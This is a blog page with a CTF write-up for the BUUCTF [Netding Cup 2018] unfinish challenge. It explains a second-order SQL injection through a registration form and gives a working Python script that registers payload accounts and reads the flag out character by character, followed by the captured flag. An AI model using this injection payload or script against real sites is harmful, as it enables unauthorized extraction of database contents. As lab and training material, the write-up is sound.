当前位置:网站首页>Record buuctf [netding Cup 2018] unfinish1 problem solving ideas
Record buuctf [netding Cup 2018] unfinish1 problem solving ideas
2022-07-19 01:25:00 【Aiwin-Lau】
1, Enter the topic :

2, Find out Url Medium login.php, Just type in to log in , The discovery page will only output the wrong user name and password , It should be a sql Inject the topic , Take a blind guess at the registration page , Possible register.php, It does exist register.php, And you can register , It should be secondary injection , Try it . Find input ,information, There will be nonono!!!, Input %23,#,-- When the page appears, it does not automatically jump to login.php, That is, the registration failed . No, information It means that the table cannot be displayed ..., Really not , Looked at the WP, Used '0'+ascii The output shows , And guess blindly flag surface .

Try it on your own


It works
Write your own script :
import requests
import re
from time import sleep
from bs4 import BeautifulSoup
def flag():
flag = ''
url = 'http://2e0a2363-377a-46a6-9183-370acb55ef7c.node4.buuoj.cn:81/'
url1 = url + 'register.php'
url2 = url + 'login.php'
for i in range(1, 100):
sleep(0.5)
data1 = {"email": f"aiwin{i}@163.com",
"username": f"0'+ascii(substr((select * from flag) from {i} for 1))+'0;", "password": "1"}
data2 = {"email": f"aiwin{i}@163.com", "password": "1"}
response_regiseter = requests.post(url1, data=data1)
response_login = requests.post(url2, data=data2)
bs = BeautifulSoup(response_login.text, 'html.parser') # bs4 Parsing the page
username = bs.find('span', class_='user-name') # Get the return page data span class=user-name attribute
number = username.text # Take the number of this attribute
flag += chr(int(number))
print(flag)
if __name__ == '__main__':
flag()
Operation solution flag
flag{8fcf2419-d63f-45f3-90da-e2b33985d489}
边栏推荐
- 西瓜书第四章
- Oracle database enables archive log mode and archive log deletion and generation frequency
- Day13-混入视图基类
- Day04-路由层
- The C Programming Language (2nd)--笔记--1.6
- The C Programing Language--(2nd)--笔记--4.11.2
- C Programming Language(2nd Edition)--读书笔记--1.5
- flask框架详解
- 记录一次多个环境导致代码bug问题
- Oracle database 12C parameter files (SPFILE and pfile)
猜你喜欢
![记录BUUCTF [网鼎杯2018]Unfinish1解题思路](/img/29/6cf1eb89f1cbe087438645668ce103.png)
记录BUUCTF [网鼎杯2018]Unfinish1解题思路

Maker-HarmonyOS应用开发培训笔记01

Use NN in pytoch to realize linear regression (simple implementation)

Oracle database startup and shutdown steps

XML外部实体注入总结(XXE靶机复现)

深度之眼三——(7)】数学:svd分解的应用

Maker-鸿蒙应用开发培训笔记02

CVE-2022-34265 Django Extract & Trunc SQL注入漏洞复现

wget 警告: 无法验证

Oracle Database 12c 参数文件(Spfile 和 Pfile)
随机推荐
Detailed explanation of groupby
Day15-分页,过滤
2022.7.1
Meaning of AP
Add, delete, modify and check the connection between the two tables
The C Programming Language(2nd)--笔记--1.9
脚本后台运行时候将日志从控制台重定向到自己命名的文件
P6-day01-general attempt (P4 review)
Day14 view set and route
The C Programming Language (2nd)--笔记--1.8
Supplementary knowledge of attributes and methods of regular, JWT token, ronglianyun, celery, channel group, SKU, SPU, request object
西瓜书第四章
关于外键的引用,跨域头部,ref的用法
The C Programing Language--(2nd)--笔记--4.11.2
Detailed evaluation of current popular redis visual management tools
Pytoch implements softmax regression manually
[SWPU 2019]Network-TTL加密和涉及的一些知识
maker-论文资料查找培训-笔记
Pytoch implements linear regression manually
wget 警告: 无法验证